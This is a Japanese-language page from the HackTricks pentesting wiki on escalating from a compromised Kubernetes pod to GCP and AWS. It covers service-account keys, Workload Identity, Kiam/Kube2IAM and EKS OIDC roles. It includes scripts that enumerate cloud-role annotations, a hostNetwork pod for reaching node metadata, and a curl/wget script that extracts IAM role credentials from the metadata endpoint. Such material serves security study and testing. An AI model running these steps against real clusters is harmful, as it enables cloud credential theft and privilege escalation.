Kubernetes Pivoting to Clouds

Support HackTricks and get benefits!

• もしもあなたの会社をHackTricksで広告表示したい場合や、最新版のPEASSやHackTricksのPDFをダウンロードしたい場合は、SUBSCRIPTION PLANSをチェックしてください！

• 公式PEASS＆HackTricksグッズを手に入れましょう

• The PEASS Familyを見つけて、独占的なNFTのコレクションを発見しましょう

• 💬 DiscordグループまたはTelegramグループに参加するか、Twitterで私をフォローしましょう 🐦 @carlospolopm

• ハッキングのテクニックを共有するために、PRを HackTricks と HackTricks Cloud のGitHubリポジトリに提出してください。

GCP

もしもGCP内でk8sクラスタを実行している場合、おそらくクラスタ内で実行されているアプリケーションがGCPへのアクセスを持つことを望むでしょう。一般的な方法は2つあります。

GCP-SAキーをシークレットとしてマウントする

KubernetesアプリケーションにGCPへのアクセスを与える一般的な方法は次のとおりです。

• GCPサービスアカウントを作成する

• 希望する権限をそれにバインドする

• 作成したSAのJSONキーをダウンロードする

• ポッド内でシークレットとしてマウントする

• JSONのパスを指すように、GOOGLE_APPLICATION_CREDENTIALS環境変数を設定する

したがって、攻撃者として、ポッド内のコンテナを侵害した場合、その環境変数とGCPの認証情報を持つJSONファイルをチェックする必要があります。

GSAのJSONをKSAのシークレットに関連付ける

GSAへのアクセスをGKEクラスタに与える方法は、次のようにバインドすることです。

• 次のコマンドを使用して、GKEクラスタと同じ名前空間にKubernetesサービスアカウントを作成します。

Copy codekubectl create serviceaccount <service-account-name>

• GKE クラスタへのアクセス権を付与するために、GCP サービスアカウントの資格情報を含む Kubernetes Secret を作成します。次の例に示すように、gcloud コマンドラインツールを使用してこれを行うことができます。

gcloud iam service-accounts keys create key.json --iam-account=[SERVICE_ACCOUNT_EMAIL]
kubectl create secret generic gcp-key --from-file=key.json

Copy codegcloud iam service-accounts keys create <key-file-name>.json \
--iam-account <gcp-service-account-email>
kubectl create secret generic <secret-name> \
--from-file=key.json=<key-file-name>.json

• 以下のコマンドを使用して、KubernetesのシークレットをKubernetesサービスアカウントにバインドします。

Copy codekubectl annotate serviceaccount <service-account-name> \
iam.gke.io/gcp-service-account=<gcp-service-account-email>

第2ステップでは、GSAの資格情報をKSAのシークレットとして設定しました。その後、GKEクラスターの内部からそのシークレットを読み取ることができれば、そのGCPサービスアカウントにエスカレーションできます。

GKEワークロードアイデンティティ

ワークロードアイデンティティを使用すると、KubernetesサービスアカウントをGoogleサービスアカウントとして構成できます。 Kubernetesサービスアカウントで実行されるポッドは、Google Cloud APIにアクセスする際に自動的にGoogleサービスアカウントとして認証されます。

この動作を有効にするための最初の一連の手順は、GCPでワークロードアイデンティティを有効にすることです（手順）およびk8sがなりすますGCP SAを作成します。

• 新しいクラスターでワークロードアイデンティティを有効にする

gcloud container clusters update <cluster_name> \
--region=us-central1 \
--workload-pool=<project-id>.svc.id.goog

• 新しいノードプールの作成/更新（Autopilotクラスターは不要です）

# You could update instead of create
gcloud container node-pools create <nodepoolname> --cluster=<cluser_name> --workload-metadata=GKE_METADATA --region=us-central1

• K8sからGCPの権限を持つGCPサービスアカウントを作成します：

# Create SA called "gsa2ksa"
gcloud iam service-accounts create gsa2ksa --project=<project-id>

# Give "roles/iam.securityReviewer" role to the SA
gcloud projects add-iam-policy-binding <project-id> \
--member "serviceAccount:gsa2ksa@<project-id>.iam.gserviceaccount.com" \
--role "roles/iam.securityReviewer"

• クラスターに接続し、使用するサービスアカウントを作成します

# Get k8s creds
gcloud container clusters get-credentials <cluster_name> --region=us-central1

# Generate our testing namespace
kubectl create namespace testing

# Create the KSA
kubectl create serviceaccount ksa2gcp -n testing

• GSAとKSAをバインドする

# Allow the KSA to access the GSA in GCP IAM
gcloud iam service-accounts add-iam-policy-binding gsa2ksa@<project-id.iam.gserviceaccount.com \
--role roles/iam.workloadIdentityUser \
--member "serviceAccount:<project-id>.svc.id.goog[<namespace>/ksa2gcp]"

# Indicate to K8s that the SA is able to impersonate the GSA
kubectl annotate serviceaccount ksa2gcp \
--namespace testing \
iam.gke.io/gcp-service-account=[e-mail]

• KSAと一緒にpodを実行し、GSAへのアクセスを確認します：

# If using Autopilot remove the nodeSelector stuff!
echo "apiVersion: v1
kind: Pod
metadata:
name: workload-identity-test
namespace: <namespace>
spec:
containers:
- image: google/cloud-sdk:slim
name: workload-identity-test
command: ['sleep','infinity']
serviceAccountName: ksa2gcp
nodeSelector:
iam.gke.io/gke-metadata-server-enabled: 'true'" | kubectl apply -f-

# Get inside the pod
kubectl exec -it workload-identity-test \
--namespace testing \
-- /bin/bash

# Check you can access the GSA from insie the pod with
curl -H "Metadata-Flavor: Google" http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/email
gcloud auth list

以下のコマンドを使用して、必要に応じて認証を行います：

gcloud auth activate-service-account --key-file=/var/run/secrets/google/service-account/key.json

K8s内の攻撃者として、GCPの何かにアクセスできることを示す**iam.gke.io/gcp-service-accountアノテーションを持つSAを検索**する必要があります。また、クラスタ内の各KSAを悪用し、アクセス権限を持っているかどうかを確認することもできます。 GCPからは、バインディングを列挙し、Kubernetes内のSAにどのようなアクセス権限を与えているかを知ることが常に興味深いです。

これは、すべてのポッド定義を簡単に繰り返し処理し、そのアノテーションを探すためのスクリプトです：

for ns in `kubectl get namespaces -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
for pod in `kubectl get pods -n "$ns" -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
echo "Pod: $ns/$pod"
kubectl get pod "$pod" -n "$ns" -o yaml | grep "gcp-service-account"
echo ""
echo ""
done
done | grep -B 1 "gcp-service-account"

AWS

Kiam & Kube2IAM（Pod用のIAMロール）

IAMロールをPodに与える（古い）方法は、KiamまたはKube2IAM サーバーを使用することです。基本的には、クラスタ内で特権のIAMロールを持つデーモンセットを実行する必要があります。このデーモンセットは、必要なポッドにIAMロールへのアクセス権を与える役割を果たします。

まず、ネームスペース内でアクセスできるロールを設定する必要があります。これは、ネームスペースオブジェクト内のアノテーションで行います。

Kiam

kind: Namespace
metadata:
name: iam-example
annotations:
iam.amazonaws.com/permitted: ".*"

Kube2iam

apiVersion: v1
kind: Namespace
metadata:
annotations:
iam.amazonaws.com/allowed-roles: |
["role-arn"]
name: default

ネームスペースがIAMロールで設定されている場合、Podは次のようにして各Podの定義で必要なロールを指定することができます。

Kiam & Kube2iam

kind: Pod
metadata:
name: foo
namespace: external-id-example
annotations:
iam.amazonaws.com/role: reportingdb-reader

攻撃者として、もしポッドやネームスペース、またはkube-systemで実行されているkiam/kube2iamサーバーでこれらの注釈を見つけた場合、既にポッドによって使用されているすべてのロールとそれ以上のもの（AWSアカウントへのアクセス権限がある場合はロールを列挙できます）をなりすますことができます。

IAMロールを持つPodを作成する

指定するIAMロールは、kiam/kube2iamロールと同じAWSアカウントにある必要があり、そのロールにアクセスできる必要があります。

echo 'apiVersion: v1
kind: Pod
metadata:
annotations:
iam.amazonaws.com/role: transaction-metadata
name: alpine
namespace: eevee
spec:
containers:
- name: alpine
image: alpine
command: ["/bin/sh"]
args: ["-c", "sleep 100000"]' | kubectl apply -f -

IAMロールを使用したK8sサービスアカウントのOIDC経由

これはAWSによって推奨される方法です。

1. まず、クラスターのためにOIDCプロバイダーを作成します。

2. 次に、SAが必要とする権限を持つIAMロールを作成します。

3. IAMロールとSAの間に信頼関係を作成します。信頼関係は主にOIDCプロバイダー名、名前空間名、およびSA名をチェックします。

4. 最後に、ロールのARNを示す注釈を持つSAを作成します。そのSAで実行されるポッドは、ロールのトークンにアクセスできます。トークンはファイルに書き込まれ、パスは**AWS_WEB_IDENTITY_TOKEN_FILE**で指定されます（デフォルト：/var/run/secrets/eks.amazonaws.com/serviceaccount/token）。

# Create a service account with a role
cat >my-service-account.yaml <<EOF
apiVersion: v1
kind: ServiceAccount
metadata:
name: my-service-account
namespace: default
annotations:
eks.amazonaws.com/role-arn: arn:aws:iam::318142138553:role/EKSOIDCTesting
EOF
kubectl apply -f my-service-account.yaml

# Add a role to an existent service account
kubectl annotate serviceaccount -n $namespace $service_account eks.amazonaws.com/role-arn=arn:aws:iam::$account_id:role/my-role

/var/run/secrets/eks.amazonaws.com/serviceaccount/tokenからトークンを使用してawsを取得するには、次のコマンドを実行します：

aws sts assume-role-with-web-identity --role-arn arn:aws:iam::123456789098:role/EKSOIDCTesting --role-session-name something --web-identity-token file:///var/run/secrets/eks.amazonaws.com/serviceaccount/token

攻撃者として、K8sクラスタを列挙できる場合、その注釈を持つサービスアカウントをチェックして、AWSへエスカレーションすることができます。そのためには、IAMの特権サービスアカウントの1つを使用して、ポッドを実行/作成し、トークンを盗むだけです。

さらに、ポッド内にいる場合は、AWS_ROLE_ARNやAWS_WEB_IDENTITY_TOKENなどの環境変数をチェックしてください。

時には、ロールの信頼ポリシーが誤って設定されており、期待されるサービスアカウントに対してのみAssumeRoleアクセスを与える代わりに、すべてのサービスアカウントに与えてしまうことがあります。したがって、制御されたサービスアカウントに注釈を書き込むことができる場合、ロールにアクセスできます。

詳細については、以下のページを参照してください：

pageAWS - Federation Abuse

クラスタ内のポッドとSAsのIAMロールを検索する

これは、すべてのポッドとSAsの定義を繰り返し処理し、その注釈を探すためのスクリプトです：

for ns in `kubectl get namespaces -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
for pod in `kubectl get pods -n "$ns" -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
echo "Pod: $ns/$pod"
kubectl get pod "$pod" -n "$ns" -o yaml | grep "amazonaws.com"
echo ""
echo ""
done
for sa in `kubectl get serviceaccounts -n "$ns" -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
echo "SA: $ns/$sa"
kubectl get serviceaccount "$sa" -n "$ns" -o yaml | grep "amazonaws.com"
echo ""
echo ""
done
done | grep -B 1 "amazonaws.com"

ノードのIAMロール

前のセクションでは、ポッドを使用してIAMロールを盗む方法について説明しましたが、K8sクラスターのノードはクラウド内のインスタンスになります。つまり、ノードは盗むことができる新しいIAMロールを持つ可能性が非常に高いです（通常、K8sクラスターのすべてのノードが同じIAMロールを持つため、各ノードを確認する価値があるかどうかはわかりません）。

ただし、ノードからメタデータエンドポイントにアクセスするためには、ノード内にいる必要があります（SSHセッションなど）または少なくとも同じネットワークにいる必要があります：

kubectl run NodeIAMStealer --restart=Never -ti --rm --image lol --overrides '{"spec":{"hostNetwork": true, "containers":[{"name":"1","image":"alpine","stdin": true,"tty":true,"imagePullPolicy":"IfNotPresent"}]}}'

IAMロールトークンの盗み出し

以前、私たちはIAMロールをポッドにアタッチする方法や、インスタンスにアタッチされたIAMロールをノードにエスケープして盗む方法について説明しました。

以下のスクリプトを使用して、あなたの新しく獲得したIAMロールの資格情報を盗むことができます。

IAM_ROLE_NAME=$(curl http://169.254.169.254/latest/meta-data/iam/security-credentials/ 2>/dev/null || wget  http://169.254.169.254/latest/meta-data/iam/security-credentials/ -O - 2>/dev/null)
if [ "$IAM_ROLE_NAME" ]; then
echo "IAM Role discovered: $IAM_ROLE_NAME"
if ! echo "$IAM_ROLE_NAME" | grep -q "empty role"; then
echo "Credentials:"
curl "http://169.254.169.254/latest/meta-data/iam/security-credentials/$IAM_ROLE_NAME" 2>/dev/null || wget "http://169.254.169.254/latest/meta-data/iam/security-credentials/$IAM_ROLE_NAME" -O - 2>/dev/null
fi
fi

参考文献

• https://cloud.google.com/kubernetes-engine/docs/how-to/workload-identity

• https://medium.com/zeotap-customer-intelligence-unleashed/gke-workload-identity-a-secure-way-for-gke-applications-to-access-gcp-services-f880f4e74e8c

• https://blogs.halodoc.io/iam-roles-for-service-accounts-2/

ハックトリックをサポートして特典を得る！

• HackTricksで会社の広告を見たい場合や、PEASSの最新バージョンをダウンロードしたい場合は、SUBSCRIPTION PLANSをチェックしてください！

• 公式PEASS＆HackTricksグッズを手に入れましょう

• The PEASS Familyを見つけて、独占的なNFTのコレクションを発見しましょう

• 💬 DiscordグループまたはTelegramグループに参加するか、Twitterで私をフォローしましょう 🐦 @carlospolopm

• ハッキングのトリックを共有するために、PRを HackTricks および HackTricks Cloud のGitHubリポジトリに提出してください。